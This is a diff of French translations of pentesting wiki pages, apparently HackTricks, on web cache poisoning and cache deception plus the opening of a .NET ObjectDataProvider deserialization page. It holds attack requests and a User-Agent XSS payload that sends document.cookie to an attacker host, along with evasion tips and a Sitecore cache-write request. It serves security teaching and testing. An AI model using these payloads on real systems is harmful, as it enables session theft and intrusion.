+- Le CDN NE décodera ni ne normalisera `%2F..%2F`, par conséquent, il peut être utilisé comme **path traversal to access other sensitive locations that will be cached** comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Le serveur web DÉCODERA et normalisera `%2F..%2F`, et répondra avec `/api/auth/session`, qui **contains the auth token**.
 
-### Utilisation de l'empoisonnement de cache web pour exploiter les vulnérabilités de gestion des cookies
+### Utiliser web cache poisoning pour exploiter des vulnérabilités de gestion des cookies
 
-Les cookies pourraient également être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez être en mesure d'exploiter le XSS dans plusieurs clients qui chargent la réponse de cache malveillante.
+Les cookies peuvent aussi être reflétés dans la réponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez exploiter le XSS dans plusieurs clients qui chargent la réponse de cache malveillante.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-Notez que si le cookie vulnérable est très utilisé par les utilisateurs, les requêtes régulières nettoieront le cache.
+Notez que si le cookie vulnérable est très utilisé par les utilisateurs, des requêtes régulières nettoieront le cache.
 
-### Génération de divergences avec des délimiteurs, normalisation et points <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+
+Voir :
 
-Vérifiez :
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Poisoning du cache avec traversée de chemin pour voler une clé API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` car tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.
+[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare normalise l'URL, ce qui était fait lorsque la requête atteignait le serveur web.
+
+Ceci est également mieux expliqué dans :
 
-Cela est également mieux expliqué dans :
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités de poisoning du cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine que vous contrôlez et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** **transmet** toutes les **requêtes HTTP** **vers HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est pointée par la redirection.
+Parfois, vous devrez **exploit several unkeyed inputs** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine que vous contrôlez et `X-Forwarded-Scheme` sur `http`. Si le **serveur** redirige toutes les requêtes **HTTP** vers **HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection, vous pouvez contrôler où la page est pointée par la redirection.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Exploitation avec un en-tête `Vary` limité
+### Exploiter un `Vary` header limité
 
-Si vous avez découvert que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS** mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**. Alors, vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de polluer le cache en utilisant cet agent utilisateur :
+Si vous constatez que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS**, mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**, vous devez alors trouver un moyen d'exfiltrate le `User-Agent` de la victime et de poison the cache en utilisant ce `User-Agent` :
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@@ -133,7 +137,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-Envoyez une requête GET avec la requête dans l'URL et dans le corps. Si le serveur web utilise celle du corps mais que le serveur de cache met en cache celle de l'URL, quiconque accédant à cette URL utilisera en réalité le paramètre du corps. Comme la vulnérabilité trouvée par James Kettle sur le site de Github :
+Envoyez une GET request avec le même contenu dans l'URL et dans le body. Si le web server utilise la valeur du body mais que le cache server met en cache celle de l'URL, toute personne accédant à cette URL utilisera en fait le paramètre provenant du body. Comme la vuln que James Kettle a trouvée sur le site Github :
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -142,124 +146,141 @@ Content-Length: 22
 
 report=innocent-victim
 ```
-Il y a un laboratoire Portswigger à ce sujet : [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+Il existe un lab PortSwigger à ce sujet : [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
 
-### Cloaking de Paramètres
+### Parameter Cloacking
 
-Par exemple, il est possible de séparer les **paramètres** dans les serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela pourrait être utilisé pour mettre des valeurs de paramètres non clés à l'intérieur de ceux qui sont clés et en abuser.
+Par exemple, il est possible de séparer les **paramètres** dans les serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela peut être utilisé pour insérer des valeurs de paramètres sans clé à l'intérieur de paramètres à clé et les exploiter.
 
-Laboratoire Portswigger : [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
 
-### Exploitation de l'empoisonnement de cache HTTP en abusant du HTTP Request Smuggling
+### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
 
-Apprenez ici comment effectuer [des attaques d'empoisonnement de cache en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
+Apprenez ici comment effectuer [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
 
-### Tests automatisés pour l'empoisonnement de cache Web
+### Automated testing for Web Cache Poisoning
 
-Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement l'empoisonnement de cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
+Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques et est hautement personnalisable.
 
-Exemple d'utilisation : `wcvs -u example.com`
+Example usage: `wcvs -u example.com`
 
-### XSS par réflexion d'en-tête + semis de cache assisté par CDN/WAF (User-Agent, .js auto-mis en cache)
+### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
 
-Ce modèle du monde réel enchaîne un primitif de réflexion basé sur l'en-tête avec le comportement CDN/WAF pour empoisonner de manière fiable le HTML mis en cache servi à d'autres utilisateurs :
+Ce schéma observé en conditions réelles enchaîne une primitive de réflexion basée sur un header avec le comportement du CDN/WAF pour empoisonner de manière fiable le HTML mis en cache et servi à d'autres utilisateurs :
 
-- Le HTML principal a réfléchi un en-tête de requête non fiable (par exemple, `User-Agent`) dans un contexte exécutable.
-- Le CDN a supprimé les en-têtes de cache mais un cache interne/origine existait. Le CDN a également mis en cache automatiquement les requêtes se terminant par des extensions statiques (par exemple, `.js`), tandis que le WAF appliquait une inspection de contenu plus faible aux GET pour les actifs statiques.
-- Les particularités du flux de requêtes ont permis à une requête vers un chemin `.js` d'influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS inter-utilisateurs via réflexion d'en-tête.
+- Le HTML principal reflétait un header de requête non fiable (par ex., `User-Agent`) dans un contexte exécutable.
+- Le CDN supprimait les headers de cache mais un cache interne/origin existait. Le CDN mettait aussi en cache automatiquement les requêtes se terminant par des extensions statiques (par ex., `.js`), tandis que le WAF appliquait une inspection de contenu plus légère aux GETs pour les ressources statiques.
+- Des particularités du flux de requêtes permettaient à une requête vers un chemin `.js` d'influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS inter-utilisateurs via la réflexion d'en-tête.
 
 Recette pratique (observée sur un CDN/WAF populaire) :
 
-1) À partir d'une IP propre (évitez les rétrogradations basées sur la réputation antérieure), définissez un `User-Agent` malveillant via le navigateur ou Burp Proxy Match & Replace.
-2) Dans Burp Repeater, préparez un groupe de deux requêtes et utilisez "Envoyer le groupe en parallèle" (le mode à paquet unique fonctionne le mieux) :
-- Première requête : GET un chemin de ressource `.js` sur la même origine tout en envoyant votre `User-Agent` malveillant.
-- Immédiatement après : GET la page principale (`/`).
-3) La course de routage CDN/WAF plus le `.js` auto-mis en cache sème souvent une variante HTML mise en cache empoisonnée qui est ensuite servie à d'autres visiteurs partageant les mêmes conditions de clé de cache (par exemple, les mêmes dimensions `Vary` comme `User-Agent`).
+1) Depuis une IP propre (éviter les déclassements basés sur la réputation), définissez un `User-Agent` malveillant via le navigateur ou Burp Proxy Match & Replace.  
+2) Dans Burp Repeater, préparez un groupe de deux requêtes et utilisez "Send group in parallel" (le mode single-packet fonctionne le mieux) :
+- Première requête : GET d'un chemin de ressource `.js` sur le même origin en envoyant votre `User-Agent` malveillant.
+- Immédiatement après : GET de la page principale (`/`).  
+3) Cette course au routage CDN/WAF, combinée à l'auto-caching du `.js`, entraîne souvent l'ensemencement d'une variante HTML mise en cache empoisonnée qui est ensuite servie à d'autres visiteurs partageant les mêmes conditions de clé de cache (par ex., mêmes dimensions `Vary` comme `User-Agent`).
 
 Exemple de charge utile d'en-tête (pour exfiltrer des cookies non-HttpOnly) :
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
-Conseils opérationnels :
+Operational tips:
 
-- De nombreux CDN cachent les en-têtes de cache ; le poisoning peut n'apparaître que lors de cycles de rafraîchissement de plusieurs heures. Utilisez plusieurs IP de vantage et limitez le débit pour éviter les déclencheurs de limite de taux ou de réputation.
-- Utiliser une IP du cloud du CDN lui-même améliore parfois la cohérence du routage.
-- Si un CSP strict est présent, cela fonctionne toujours si la réflexion s'exécute dans le contexte HTML principal et que le CSP permet l'exécution en ligne ou est contourné par le contexte.
+- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
+- Using an IP from the CDN's own cloud sometimes improves routing consistency.
+- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
 
-Impact :
+Impact:
 
-- Si les cookies de session ne sont pas `HttpOnly`, un ATO sans clic est possible en exfiltrant massivement `document.cookie` de tous les utilisateurs qui reçoivent le HTML empoisonné.
+- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
 
-Défenses :
+Defenses:
 
-- Ne réfléchissez pas les en-têtes de requête dans le HTML ; encodez strictement le contexte si inévitable. Alignez les politiques de cache CDN et d'origine et évitez de varier sur des en-têtes non fiables.
-- Assurez-vous que le WAF applique l'inspection de contenu de manière cohérente aux requêtes `.js` et aux chemins statiques.
-- Définissez `HttpOnly` (et `Secure`, `SameSite`) sur les cookies de session.
+- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
+- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
+- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
+
+### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
+
+Un pattern spécifique à Sitecore permet des écritures non authentifiées dans le HtmlCache en abusant de pre‑auth XAML handlers et de AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Cela écrit du HTML arbitraire sous un attacker‑chosen cache key, permettant un empoisonnement précis une fois les cache keys connues.
+
+For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
 
 ## Exemples vulnérables
 
 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
 
-ATS a transmis le fragment à l'intérieur de l'URL sans le supprimer et a généré la clé de cache en utilisant uniquement l'hôte, le chemin et la requête (ignorant le fragment). Ainsi, la requête `/#/../?r=javascript:alert(1)` a été envoyée au backend sous la forme `/#/../?r=javascript:alert(1)` et la clé de cache ne contenait pas la charge utile, seulement l'hôte, le chemin et la requête.
+ATS a transmis le fragment présent dans l'URL sans le supprimer et générait la cache key en n'utilisant que le host, path et query (ignorant le fragment). Ainsi la requête `/#/../?r=javascript:alert(1)` était envoyée au backend comme `/#/../?r=javascript:alert(1)` et la cache key n'incluait pas le payload, seulement host, path et query.
 
 ### GitHub CP-DoS
 
-L'envoi d'une mauvaise valeur dans l'en-tête content-type a déclenché une réponse 405 mise en cache. La clé de cache contenait le cookie, il était donc possible d'attaquer uniquement les utilisateurs non authentifiés.
+Envoyer une valeur invalide dans le header content-type déclenchait une réponse 405 mise en cache. La cache key contenait le cookie, il était donc possible seulement d'attaquer des unauth users.
 
 ### GitLab + GCP CP-DoS
 
-GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et d'empoisonner le cache pour renvoyer un corps de réponse vide. Il pouvait également prendre en charge la méthode `PURGE`.
+GitLab utilise des GCP buckets pour stocker du contenu statique. **GCP Buckets** supportent le **header `x-http-method-override`**. Il était donc possible d'envoyer le header `x-http-method-override: HEAD` et d'empoisonner le cache pour retourner un corps de réponse vide. Il pouvait aussi supporter la méthode `PURGE`.
 
 ### Rack Middleware (Ruby on Rails)
 
-Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme le schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut provoquer un déni de service (DoS) pour cette ressource. De plus, l'application peut reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.
+Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le rôle du code Rack est de prendre la valeur du header **`x-forwarded-scheme`** et de la définir comme le scheme de la requête. Quand le header `x-forwarded-scheme: http` est envoyé, un redirect 301 vers la même location se produit, ce qui peut provoquer un Denial of Service (DoS) sur cette ressource. De plus, l'application peut prendre en compte le header `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d'un attacker, posant un risque de sécurité.
 
-### 403 et Buckets de stockage
+### 403 and Storage Buckets
 
-Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à S3 ou aux blobs de stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy.
+Cloudflare mettait auparavant en cache les réponses 403. Tenter d'accéder à S3 ou Azure Storage Blobs avec des headers Authorization incorrects renvoyait une réponse 403 qui était mise en cache. Bien que Cloudflare ait arrêté de mettre en cache les 403, ce comportement peut encore être présent chez d'autres services proxy.
 
-### Injection de paramètres clés
+### Injecting Keyed Parameters
 
-Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du deuxième paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.
+Les caches incluent souvent des paramètres GET spécifiques dans la cache key. Par exemple, le Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par ex. `siz%65`) était aussi envoyée avec une valeur erronée, la cache key serait construite en utilisant le paramètre `size` correct. Pourtant, le backend traiterait la valeur dans le paramètre encodé. Encoder en URL le second paramètre `size` faisait qu'il était omis par le cache mais utilisé par le backend. Attribuer la valeur 0 à ce paramètre aboutissait à une erreur 400 Bad Request mise en cache.
 
-### Règles de l'agent utilisateur
+### User Agent Rules
 
-Certains développeurs bloquent les requêtes avec des agents utilisateurs correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que le poisoning de cache et le DoS.
+Certains développeurs bloquent les requêtes avec des user-agents correspondant à des outils à fort trafic comme FFUF ou Nuclei pour gérer la charge serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que cache poisoning et DoS.
 
-### Champs d'en-tête illégaux
+### Illegal Header Fields
 
-Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms d'en-tête. Les en-têtes contenant des caractères en dehors de la plage **tchar** spécifiée devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs ne respectent pas toujours cette norme. Un exemple notable est Akamai, qui transmet des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l'en-tête `cache-control` n'est pas présent. Un modèle exploitable a été identifié où l'envoi d'un en-tête avec un caractère illégal, tel que `\`, entraînerait une erreur 400 Bad Request mise en cache.
+Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms de headers. Les headers contenant des caractères en dehors de la plage **tchar** devraient idéalement déclencher une 400 Bad Request. En pratique, les serveurs n'adhèrent pas toujours à cette norme. Un exemple notable est Akamai, qui forwarde des headers avec des caractères invalides et met en cache toute erreur 400, tant que le header `cache-control` n'est pas présent. Un pattern exploitable a été identifié où l'envoi d'un header avec un caractère illégal, comme `\`, résultait en une 400 Bad Request mise en cache.
 
-### Trouver de nouveaux en-têtes
+### Finding new headers
 
 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
 
 ## Cache Deception
 
-L'objectif de Cache Deception est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**.
+The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
 
-Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** **rejoue** avec les contenus **sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs.
+First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
 
-D'autres choses à tester :
+Other things to test:
 
 - _www.example.com/profile.php/.js_
 - _www.example.com/profile.php/.css_
 - _www.example.com/profile.php/test.js_
 - _www.example.com/profile.php/../test.js_
 - _www.example.com/profile.php/%2e%2e/test.js_
-- _Utilisez des extensions moins connues telles que_ `.avif`
+- _Use lesser known extensions such as_ `.avif`
 
-Un autre exemple très clair peut être trouvé dans cet article : [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme _http://www.example.com/home.php/non-existent.css_, le contenu de _http://www.example.com/home.php_ (**avec les informations sensibles de l'utilisateur**) sera renvoyé et le serveur de cache enregistrera le résultat.\
-Ensuite, l'**attaquant** peut accéder à _http://www.example.com/home.php/non-existent.css_ dans son propre navigateur et observer les **informations confidentielles** des utilisateurs qui ont accédé auparavant.
+Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
+Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
 
-Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type MIME `text/css` (qui est celui attendu pour un fichier _.css_).
+Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
 
-Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
+Apprenez ici comment effectuer[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
 
-## Outils automatiques
+## Outils Automatiques
 
-- [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités de poisoning de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.
+- [**toxicache**](https://github.com/xhzeem/toxicache): scanner Golang pour trouver des web cache poisoning vulnerabilities dans une liste d'URLs et tester plusieurs techniques d'injection.
 
 ## Références
 
@@ -271,6 +292,7 @@ Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du H
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
 - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -1,4 +1,4 @@
-# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
+# Désérialisation .Net basique (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,33 +6,33 @@ Ce post est dédié à **comprendre comment le gadget ObjectDataProvider est exp
 
 ## Gadget ObjectDataProvider
 
-D'après la documentation : _la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison_.\
-Oui, c'est une explication étrange, alors voyons ce que cette classe a de si intéressant : cette classe permet de **envelopper un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires,** puis **d'utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.\
-Par conséquent, l'**objet** arbitraire va **exécuter** une **fonction** avec **des paramètres tout en étant désérialisé.**
+D'après la documentation : _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+Oui, c'est une explication étrange, voyons donc ce que cette classe contient d'intéressant : cette classe permet de **wrap un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires**, puis d'**utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.\
+Par conséquent, l'**objet** arbitraire va **exécuter** une **fonction** avec des **paramètres pendant sa désérialisation.**
 
 ### **Comment est-ce possible**
 
-L'espace de noms **System.Windows.Data**, trouvé dans le **PresentationFramework.dll** à `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, est l'endroit où l'ObjectDataProvider est défini et implémenté.
+L'espace de noms **System.Windows.Data**, situé dans **PresentationFramework.dll** à `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, est l'endroit où ObjectDataProvider est défini et implémenté.
 
-En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy), vous pouvez **inspecter le code** de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode**
+En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy) vous pouvez **inspecter le code** de la classe qui nous intéresse. Sur l'image ci‑dessous nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
 
 ![](<../../images/image (427).png>)
 
-Comme vous pouvez l'observer, lorsque `MethodName` est défini, `base.Refresh()` est appelé, voyons ce que cela fait :
+Comme vous pouvez le constater, lorsque `MethodName` est défini, `base.Refresh()` est appelé ; regardons ce que cela fait :
 
 ![](<../../images/image (319).png>)
 
-D'accord, continuons à voir ce que fait `this.BeginQuery()`. `BeginQuery` est remplacé par `ObjectDataProvider` et voici ce qu'il fait :
+Ok, continuons et voyons ce que fait `this.BeginQuery()`. `BeginQuery` est surchargé par `ObjectDataProvider` et voici ce qu'il fait :
 
 ![](<../../images/image (345).png>)
 
-Notez qu'à la fin du code, il appelle `this.QueryWorke(null)`. Voyons ce que cela exécute :
+Notez qu'à la fin du code il appelle `this.QueryWorke(null)`. Voyons ce que cela exécute :
 
 ![](<../../images/image (596).png>)
 
-Notez que ce n'est pas le code complet de la fonction `QueryWorker`, mais cela montre la partie intéressante : le code **appelle `this.InvokeMethodOnInstance(out ex);`** c'est la ligne où le **méthode set est invoquée**.
+Notez que ce n'est pas le code complet de la fonction `QueryWorker` mais cela montre la partie intéressante : le code **appelle `this.InvokeMethodOnInstance(out ex);`** — c'est la ligne où le **jeu de méthodes est invoqué**.
 
-Si vous voulez vérifier que simplement en définissant le _**MethodName**_** il sera exécuté**, vous pouvez exécuter ce code :
+Si vous voulez vérifier que le simple fait de définir le _**MethodName**_** sera exécuté**, vous pouvez exécuter ce code :
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -52,16 +52,16 @@ myODP.MethodName = "Start";
 }
 }
 ```
-Notez que vous devez ajouter en référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ afin de charger `System.Windows.Data`
+Notez que vous devez ajouter comme référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ afin de charger `System.Windows.Data`
 
 ## ExpandedWrapper
 
